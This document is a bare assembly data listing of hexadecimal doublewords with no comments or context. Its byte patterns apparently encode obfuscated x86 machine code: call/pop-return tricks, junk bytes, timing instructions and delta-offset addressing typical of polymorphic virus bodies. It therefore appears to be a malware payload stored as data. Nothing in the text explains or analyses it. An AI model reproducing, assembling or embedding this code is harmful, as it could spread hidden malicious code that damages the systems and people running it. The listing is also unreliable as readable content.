95FF0644h dd 64417D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0B2C35545h, 872F2DA4h, 838B68E7h, 4414B5BDh, 840F0006h dd 49h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h dd 34C35343h, 0C1BF5096h, 967DABF3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 7CC35343h, 51D0956Fh, 0CEEC3169h dd 60B5FF9Fh, 6A0647B7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 3FAEC355h, 7D95FFB8h dd 0E806442Eh, 5, 0D0A74EC5h, 0FF5BF5D3h, 47B760B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 95FF2C33h, 6441441h, 2F399D8Bh, 0BD830644h, 6440A85h dd 3E840F02h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0E13AC355h, 0FB20231Bh dd 31919D2Bh, 85090644h, 6442589h, 1591858Bh, 9D8B0644h dd 6441509h, 8A0000C6h, 5985C7DCh, 64417h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0EBCCC355h, 5AF72F5Dh, 662E29ECh, 0E9CA46BFh, 0FFFFF342h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 23C35343h dd 78D0Fh, 66570000h, 0E4EDCB81h, 6AC18B5Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0C7B2C357h, 0A362D159h, 0F5BC68Fh, 858DF9B7h, 6441BE1h dd 90DE8B66h, 0E8605250h, 0Ah, 45E57DE5h, 0FDDA093Fh, 0B55E59C6h dd 310F6126h, 7E850h, 9750000h, 0C671EB10h, 5A5B5BC5h dd 0FE8B5058h, 12E990h, 16030000h, 0FB8B0C73h, 0C246E524h dd 0C33FBFADh, 8DB49C66h, 8166006Ah, 6AD88ADBh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 5ABC386Dh, 858DFC83h, 648763Bh, 5C083F9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 62C35545h, 8E87Bh dd 6E7B0000h, 0DF2FF589h, 9E85475h, 9C000000h, 60D1922h dd 0D0336993h, 5B5FE8B3h, 890F50F5h, 0Eh, 8B0F5250h, 0 dd 6160310Fh, 489585Ah, 0CE824h, 0E5FE0000h, 0DDA9AA98h dd 8D73EDA6h, 0BF66CC79h, 6A5B3371h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AB63ED96h dd 12E9F860h, 0CD000000h, 3E6BDD0Ch, 3F560EABh, 675A6850h dd 8CD25DD4h, 0B753618Ah, 6A5B79h, 9AC38166h, 2595FFE5h dd 31064418h, 4433C585h, 6800F06h, 33000000h, 441AD1BDh dd 978D8D06h, 0E906479Ah, 13h, 729F2589h, 0E514E2ABh, 0E4703FB6h dd 0A2D8C542h, 0FF611DCCh, 1840FD1h, 0F8000000h, 2F11BD83h dd 0F010644h, 6C85h, 0DE800h, 516A0000h, 0FB4F9DE3h, 0B3802EE8h dd 0FA3DAAFh, 0A8Bh, 5E900h, 0F79F0000h, 5FCCE34Ah, 0FB5BD8Bh dd 26A0644h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0B7C35141h, 437ACF81h, 66502609h, 89BAA8BBh, 8E0F2404h dd 6, 30B9BD09h, 95FF0644h, 644296Dh, 1EDB8166h, 0D4FE93Ch dd 0E80000h, 5D000000h, 7645ED81h, 0BB660648h, 9501894Bh dd 6442535h, 8B58858Dh, 6A0647h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0A56B12C3h, 2D0F671Bh dd 33959D89h, 0E9500644h, 10h, 95080E85h, 2A3B8743h, 0C923921Bh dd 0D8CF4608h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0BCC4C352h, 630E6EA6h dd 56B21A42h, 85C5BB66h, 35FF645Fh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F8C35646h dd 115ABAD0h, 258964h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A6C1C351h dd 0E0DB6259h, 0FFF88B7Dh, 4408E985h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 37716A58h, 894733C6h, 441DC9B5h, 6AC6B706h, 0AD9D8BFFh dd 0FF064407h, 4408DDB5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 883E769Bh dd 0E1B4A0F4h, 11E90Dh, 9AD0000h, 992E7378h, 492FCFF3h dd 0AC3008C3h, 188B654h, 44150985h, 8195FF06h, 0E9064422h dd 12Ch, 0B0DA8Bh, 0F70E6F8h, 0BD8BDAB7h, 64424ADh, 8A0F71E4h dd 0Bh, 5890Fh, 81660000h, 3C003AE7h, 1830F61h, 0F000001h dd 687h, 759D8B00h, 8906440Ah, 44181585h, 0C8B60F06h, 341BF50h dd 0BA5F3B98h, 6, 0A9DF8166h, 66C18B7Ah, 0F6ACF381h, 0BB04E8C1h dd 101E0577h, 60E2F766h, 25DA09B8h, 0E981667Eh, 2B61EA1Eh dd 81BD89C8h, 8B064407h, 0E9F98BD1h, 6, 23AD9D0Bh, 858B0644h dd 64408A9h, 0A9F9C781h, 0C0837882h, 0C19D8B07h, 8306441Ch dd 896000C0h, 440D199Dh, 10E86006h, 18000000h, 13E8A65Eh dd 8F1AF1F5h, 0FB8506D7h, 5BBB096Eh, 0BD9BD0Bh, 61610644h dd 830FD03Bh, 11h, 1A218D89h, 55E90644h, 8B000000h, 442BB19Dh dd 0C18D8B06h, 0F064428h, 168Ch, 11E900h, 562B0000h, 5F3EB7D2h dd 0B5B9AFCh, 5B981C6Bh, 8313BFB1h, 840F01E1h, 24h, 0CB92CF81h dd 0A5837E3Fh, 64428C1h, 19BD89FEh, 89064416h, 4408A995h dd 55BD8B06h, 0E906442Ah, 0 dd 0FFD2B58Dh, 6A0647h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 6AE0C3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 80C35646h, 716A58D6h, 0FFD88B37h dd 441C4D95h, 5FF95306h, 76FB9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 5E444AAEh dd 0B42AEA3Ah, 29C58D09h, 0B600644h, 4417F9B5h, 99B58B06h dd 61064424h, 0FFCE183h, 284h, 0FCBAB300h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 6DC35040h, 53D14DBFh dd 0B867h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0A2BB90C3h, 0BA389Dh, 8B000000h dd 0C233ADFEh, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 6FD868EEh, 0F6816051h, 7722EB09h, 890F60h, 0F000000h dd 6161C7BFh, 6820Fh, 9D8B0000h, 6442249h, 880Dh, 0FEB70F00h dd 2F5D958Bh, 8B660644h, 798D8BDEh, 6A064406h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 4EFEC350h, 8E9CAh, 8840000h, 5E7F353Bh, 8B509E83h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 820FF88Bh, 21h, 14E960h dd 7E510000h, 7BC129A9h, 6BAE54A4h, 65897E31h, 0E544438h dd 9529A069h, 64407D5h, 0ADBD8361h, 6442Ch, 77840Fh, 81660000h dd 0B8C47CC7h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9FC35747h dd 7E340857h, 0A3E81696h, 4E558D8Dh, 0DE80644h, 91000000h dd 7CE175DAh, 6B5652C5h, 1F769AB9h, 5B0C781h, 0FF5F348Eh dd 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0F2A8D791h, 1EBCDC7Dh, 0ACDF8166h, 71BD8366h dd 64410h, 39A840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 2360D7C3h, 4418F99Dh dd 71BD8306h, 1064410h, 385840Fh, 85310000h, 64425F9h dd 83D9B70Fh, 441071BDh, 860F0306h, 339h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 38C35646h, 98DD53A9h dd 4D9D8B60h, 6606441Fh, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 80E3CFC3h, 13E904E1h dd 17000000h, 72591679h, 0B6D1C595h, 58401E43h, 2D1D6024h dd 0C90A7F4Eh, 0D2840Fh, 0D7810000h, 6A983259h, 8E9h, 7258100h dd 536E654Fh, 0D5858B18h, 0F06440Ah, 682h, 0D19D8B00h dd 3306440Ch, 4403BD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0D7BB03D0h, 6833E1A2h dd 6880Fh, 8D290000h, 6442645h, 24048950h, 6AFA8Bh, 0DE8B6651h dd 2AE9685Bh, 50BF1C1Eh, 8154463Eh, 29162434h, 6A1C01h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 95FF98C3h, 6440081h, 13E8h, 8EF14100h, 84C89D32h, 0FD33E4FFh dd 0E161465h, 203A4CDBh, 0F1B58960h, 51064419h, 895B615Fh dd 47B76085h, 7BBB6606h, 19BE915h, 85890000h, 6442AA5h dd 0B758858Bh, 10E90647h, 5F000000h, 0A9CF9D63h, 504390C8h dd 0D368DFECh, 8BAC8EA3h, 442E8D9Dh, 1800C706h, 66000000h dd 840FF98Bh, 2, 0B58BDA8Bh, 647B75Ch, 0AE9h, 90EF3A00h dd 0E384ACC0h, 8B81E2E6h, 44300D85h, 198D2906h, 89064424h dd 0EE906h, 0B450000h, 578E3C2Dh, 443E9A71h, 58FDCC82h dd 4AE797BBh, 0D5858B1Bh, 6A06440Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1067C355h dd 15BD8BD9h, 8906441Ch, 6A0446h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 95B527C3h, 0D830Fh, 0E9500000h dd 6, 410A759Dh, 805F0B05h, 0E8509DD7h, 0Bh, 0B0EED2B7h dd 20D48C44h, 566A1082h, 11E8h, 0AACCA100h, 0BF8502F5h dd 6642F787h, 0F9DDFAFDh, 5F5FF22Dh, 2434895Fh, 0B758B5FFh dd 6A0647h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F509D5C3h, 11A16B68h, 8B0F56h, 81000000h dd 0A2942434h, 858D560Eh, 647B760h, 5E8h, 0E36A9200h, 5FFC99ACh dd 0EC78166h, 505150D4h, 0DE852h, 0FC4E0000h, 2362517Bh dd 0AC1E37D9h, 5BFF8A4Ah, 8B66310Fh, 5F585ADAh, 80240489h dd 95FF9FE7h, 6440081h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 7EC35141h, 0A3BC6FCDh, 0BD296101h, 64409A5h dd 3F3FD781h, 85C74756h, 6441071h, 3, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 83C35646h, 63DFAD62h, 83DFB70Fh dd 47B760BDh, 840F0006h, 21h, 3011BD8Bh, 31E90644h, 66000000h dd 0E907E1BFh, 0Dh, 0A136EC59h, 0DCF75116h, 0A6D6963Eh dd 0C305090h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 77C35545h, 11E949h, 0EF3C0000h, 29E9C702h, 0FAA90101h dd 0BFFCF2A1h, 312026B4h, 441FC18Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0DB65AADCh dd 0BD839DFDh, 6441071h, 0D850F03h, 83000004h, 47B760BDh dd 840F0006h, 400h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0F7C35040h, 8BE18A6Ch, 0D88B667Eh, 0B760B5FFh dd 6A0647h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 698B8AC3h, 8B6672FBh, 95FFF8DEh, 6440699h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B1C35141h dd 0B01536Dh, 0FDF22889h, 0B1BD8BEEh, 8B064417h, 441C25BDh dd 2DBF6606h, 54B58B2Fh, 510647B7h, 106C75Fh, 66000100h dd 9630A2BBh, 0F143CFBFh, 4FBF5072h, 960EE189h, 28498589h dd 0B5FF0644h, 647B760h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0F8C35040h, 0FF7D07B3h, 441E0195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 22924844h, 0A275257Fh, 0BD8B60C7h, 64410A1h, 31B5B589h dd 8B610644h, 47B754B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 7CDE908Dh, 0C98D8938h dd 8B06442Bh, 442E7185h, 89F98B06h, 0C486h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0CF78F528h, 0F7BB665Ah, 7E9D7h, 45E20000h, 0A33CB076h dd 5D958B81h, 8B06442Fh, 44224D9Dh, 4C28306h, 2EA9B589h dd 9D8B0644h, 64408A1h, 6A205089h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0B0D3C353h dd 6F29DFB3h, 0CAA0858Dh, 9D8B0647h, 64420A1h, 0B88689h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0E5FC40C3h, 68AA81EEh, 15518D89h, 0B5890644h dd 6441039h, 9D8B006Ah, 6441405h, 1EA9BD8Bh, 0B5FF0644h dd 647B760h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 69C35747h, 7ED78166h, 0FE90Eh, 46CA0000h, 7DB9779h dd 0CDC0F715h, 0BDFDBB11h, 6D95FFA6h, 6A064429h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 50F2C353h, 8B665152h, 895B5BF8h, 6A2434h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 6CA74AC3h dd 0D781661Ah, 0B5FFC67Fh, 647B760h, 5F5F5751h, 17D995FFh dd 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0E96024C3h, 0Bh, 7C3611CEh, 3F71ED0h, 89A52C50h dd 4409599Dh, 0BD836106h, 64414B5h, 36840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 7D7FC351h, 0DB816687h, 0F960A05h, 686h, 0F525000h dd 50585A31h, 0B7965B57h, 60B5FF12h, 890647B7h, 4422258Dh dd 7D95FF06h, 0FF06442Eh, 47B760B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0D0DAAA8Bh, 6344252Ch, 19859D8Bh dd 95FF0644h, 6441441h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0E0C35040h, 53678D6h, 0E5BD03FCh, 83064428h dd 440A85BDh, 840F0206h, 53h, 29258D29h, 858B0644h, 6441591h dd 10E8h, 37539B00h, 4023FB68h, 8E1285F7h, 86E67FCDh, 0B70F6014h dd 25B966D1h, 8A5F61B8h, 0C6DCh, 10E960h, 0C0370000h, 5F0C470Dh dd 378BC87Ah, 0A74EC530h, 8E0FD3D0h, 6, 0A558503h, 0C7610644h dd 44175985h, 6, 7E800h, 9A820000h, 4357C021h, 5D9D8B49h dd 5F06442Ch, 0FFF3F2E9h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 423FB884h dd 0A3F7BEDEh, 0E8C18BFCh, 6, 0E9775B26h, 0BD89D1F9h, 6440A71h dd 0E1858D5Fh, 0F06441Bh, 5090DEBFh, 14E8h, 8C946100h dd 47AC1104h, 0E2E1E335h, 6853BEA2h, 5A2A1807h, 0EE821h dd 0F5490000h, 5FFFE5EFh, 15EFA5B7h, 7254988Fh, 5F5F35B7h dd 0F60F990h, 689h, 25850900h, 0F064429h, 68Fh, 840F00h dd 61000000h, 0BD8B006Ah, 6442925h, 0F781006Ah, 25AC9543h dd 8532858Dh, 0AE90648h, 0AB000000h, 436DA10Fh, 0BFA7731Fh dd 5C08349h, 0ADB58960h, 0E9064402h, 7, 7A6978EFh, 61E81FB2h dd 0AE990h, 95E0000h, 0A197CFCBh, 31A6A9A5h, 90CFB750h dd 10B1BD89h, 6A0644h, 38E0Fh, 0BF0F0000h, 80006AF8h, 95FF87EBh dd 6441825h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 14C35242h, 124D8AB0h, 66959886h, 8B5AFABFh, 978D8DDAh dd 6A06479Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 97AFC357h, 41E5B181h, 89916B4Eh dd 4424E195h, 89D1FF06h, 442A6D85h, 11BD8306h, 106442Fh dd 72850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0BD8B6EC3h, 6441B0Dh, 2F51B509h dd 0B5290644h, 6441625h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 87F9D7C3h, 50F529C1h dd 489ABB3h, 0CF816624h, 95FF9009h, 644296Dh, 7E8h, 264FF200h dd 881C7B99h, 5FDBBF0Fh, 0F0BE9h, 0E800h, 815D0000h, 48853CEDh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 93B41A74h, 6A5C57h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0C0C0D4C3h, 8DF565FCh dd 478B5885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 658328Bh, 0BD8B37F0h, 64417ADh, 11E850h dd 63AE0000h, 108AF5A2h, 0BF78C522h, 0AB2DE850h, 5B902D97h dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 5920C352h, 990DAA14h, 0FF644A90h dd 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0BF1A0160h, 84564582h, 820F607Dh dd 2, 9589DE8Bh, 64410ADh, 25896461h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0E8C35141h dd 85FF5CFDh, 64408E9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 20C35141h, 11E9h, 0CADD6500h, 6FC5F36Fh dd 8FDB9FC4h, 0EBF6E08Eh, 0BD8B752Fh, 6441D39h, 0FFF9FF6Ah dd 440D55B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0D874A1A4h, 0A9E7815Bh, 0FF593C78h dd 44228195h, 12AE906h, 0BD8B0000h, 6440E29h, 1094BF66h dd 9E900B0h, 74000000h, 0B460853Dh, 0EDF65A21h, 71E470E6h dd 14E9h, 80AFF900h, 0D15F096Ah, 0ADC59948h, 0C32B5778h dd 2942A032h, 0F613CD4h, 0EB83h, 0AE900h, 29860000h, 0AC62D0F0h dd 415853AEh, 0BBC8B60Fh, 79FC8B6Bh, 2441BD29h, 6BA0644h dd 8B000000h, 10E9D9h, 0E9630000h, 0B1AE7ABDh, 7C7C8214h dd 41726D56h, 0C18B0EDDh, 6604E8C1h, 0BD8BE2F7h, 6443141h dd 8B66C82Bh, 3D18BDAh, 4406CDBDh, 6E906h, 9D8B0000h, 6441619h dd 208D858Bh, 14E90644h, 0F3000000h, 38A10075h, 4645F240h dd 5E263AA2h, 0E598B664h, 83B4D0B2h, 850107C0h, 6441A6Dh dd 3100C083h, 443011BDh, 3BD88B06h, 1B830FD0h, 89000000h dd 44001D85h, 9E95106h, 3A000000h, 77858A78h, 7BEF2BE3h dd 36E95Bh, 8D8B0000h, 64433D1h, 0E183D98Bh, 25840F01h dd 56000000h, 835FFE8Bh, 4433D1A5h, 0BB66FE06h, 15BB2F9Bh dd 8918EE8Fh, 44208D95h, 0AD8D8906h, 0E906441Dh, 0 dd 8ADB58Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 36FD0AC3h, 1535570h, 4402C5BDh dd 0E8006A06h, 0Ah, 14A87921h, 0DAED976Bh, 0BD89D8D9h dd 6441E25h, 4D95FF5Bh, 6A06441Ch, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F3E5C353h dd 28B0C25Bh, 69D76843h, 0E377BF66h, 6758D31h, 75B90644h dd 8B000008h, 442149BDh, 0FCE18306h, 0BE9h, 1A48BC00h dd 0FF1E4820h, 0E42A3A9Eh, 919D0BFCh, 0B8064400h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0E3C35040h dd 97E67E04h, 0BF660EBEh, 0D22B84C0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 6FC35040h, 8BD87DD6h, 0C233ADD9h dd 0D003E8D1h, 7504E983h, 5E9FCF4h, 18000000h, 4C34E69Dh dd 880DFB8Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 9FE7C356h, 23384FC4h dd 440919BDh, 5D958B06h, 6A06442Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3764C357h dd 84BF6943h, 0E80E5B96h, 10h, 904F8C2Dh, 0F69FC960h, 0B39CF318h dd 0C082F08Bh, 2E2D9D8Bh, 8B5F0644h, 4406798Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 7851D166h, 8B50F5EBh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0DDC35545h, 1DE6FBFh, 0EF7AE4E8h, 9531FC8Ah, 6442F91h dd 1FB99D8Bh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0D690B5C3h, 0C27463E8h, 0F0EF8166h dd 0BD83F9F7h, 6442CADh, 75840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 4079C350h, 55699DEDh, 0B70F2502h, 29B589FBh, 0B8064419h dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 51C35242h dd 4029A2Dh, 1561BD8Bh, 8D8D0644h, 6444E55h, 0FE9h, 0A2203400h dd 78917644h, 4A2930ABh, 0BF506CE5h, 0DC8AE1FFh, 1071BD83h dd 0F000644h, 48184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 14745DEEh, 30996D47h dd 0D8D8BB66h, 1071BD83h, 0F010644h, 46884h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 119D0B8Dh, 83064432h, 441071BDh, 860F0306h, 403h, 60DE8B66h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5BC35747h dd 0C9613A6Fh, 0BD89840Eh, 6441901h, 6AD98C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0C389C357h, 4F17BBC8h, 9D890C63h, 6441ECDh, 8B04E180h dd 441EBDBDh, 0FC90A06h, 17284h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 13E85BD0h dd 0FF000000h, 0CEB1DFEh, 0D2B14483h, 974C2658h, 8B448DD4h dd 0E95074D3h, 0Ch, 4EFD9285h, 94028A0Fh, 0C1364C97h, 858B5F5Fh dd 6440AD5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 23C35747h, 0DD6DA388h, 4C964442h, 0DBBF0FE7h, 3BD8533h dd 880F0644h, 15h, 0DE8h, 6499B900h, 10A5DE2Bh, 0A9071F37h dd 0FE8B50F0h, 5EBB505Bh, 897E19E0h, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0ACFA62C3h dd 22F2B766h, 6E8h, 874A0300h, 8929AA18h, 4429CD95h, 0DAB35B06h dd 4E8006Ah, 0FF000000h, 60001F03h, 0F08BFA8Ah, 8B665061h dd 24448BF8h, 8BDA8B04h, 9E86000h, 0DD000000h, 0E7989813h dd 0DA654353h, 5EF18B66h, 0A9B9BA66h, 24448961h, 0AE804h dd 40940000h, 69A561BEh, 0F07C560Dh, 48D0Fh, 0BB660000h dd 585F4955h, 2211BD8Bh, 95FF0644h, 6440081h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5DC35141h, 6970FA1Eh dd 3A34E422h, 0B7608589h, 95890647h, 644316Dh, 1B9E9h dd 499D0300h, 8B06441Ch, 47B75885h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0B91486E6h dd 0C7A3FDh, 18h, 0F699D01h, 0B58B0644h, 647B75Ch, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C7C35242h, 0D858BA6h dd 60064430h, 2139B58Bh, 0BF0F0644h, 68961F9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A1C35141h, 423D4B26h dd 0A9B39A64h, 0AD5858Bh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0D41A14C3h, 827802C6h dd 0E98174F8h, 9, 0D6105EFAh, 0F5A39068h, 4468901h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A2C35545h, 19C295Ah dd 0FF1BD8Bh, 66500644h, 3489FB8Bh, 38F0F24h, 66000000h dd 0B5FFD98Bh, 647B758h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 25C35545h, 0E952B6CEh, 7CBCDA8Eh, 19099D8Bh dd 0AE680644h, 0E9E5E081h, 0Eh, 1770A865h, 4C8C3C4Bh, 0D9593F95h dd 48196DDh, 3E825124h, 69BB661Ah, 60858DCFh, 500647B7h dd 5250905Fh, 0FFBF6651h, 310F5F5Dh, 5B616051h, 6050585Ah dd 61605250h, 585A310Fh, 0DAB86660h, 61616095h, 95FF9061h dd 6440081h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0F2C35141h, 0CFB581B3h, 0BD8B3EB3h, 6441E05h, 1C319D8Bh dd 6A610644h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0BD43C351h, 7B61FCDCh, 26F4D604h dd 10A19D89h, 0BF660644h, 85C743BFh, 6441071h, 3, 83D9BF0Fh dd 47B760BDh, 840F0006h, 2Bh, 0F7E5DF81h, 3BE9548Eh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0FBD0C355h, 5031B7F5h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3B8141C3h dd 144F505Ch, 8B516370h, 442981BDh, 12E95B06h, 0A1000000h dd 0F49B7EB3h, 50146F55h, 9B735357h, 0A5EF35ABh, 71BD83D7h dd 3064410h, 48F850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0F7809BC3h, 0C58D0929h dd 8306442Eh, 47B760BDh, 840F0006h, 45Dh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 0FEC35040h, 0E9FBB335h dd 12h, 1FB13B44h, 0FD3188D1h, 89B81E6Bh, 9228A9EFh, 0B5FF81C2h dd 647B760h, 0FF30D380h, 44069995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 7482DCBBh dd 6649D6E3h, 8BEE52BBh, 47B754B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0E325256Fh dd 0A10C7111h, 0EBA9BF0Ch, 6C76D5Eh, 10001h, 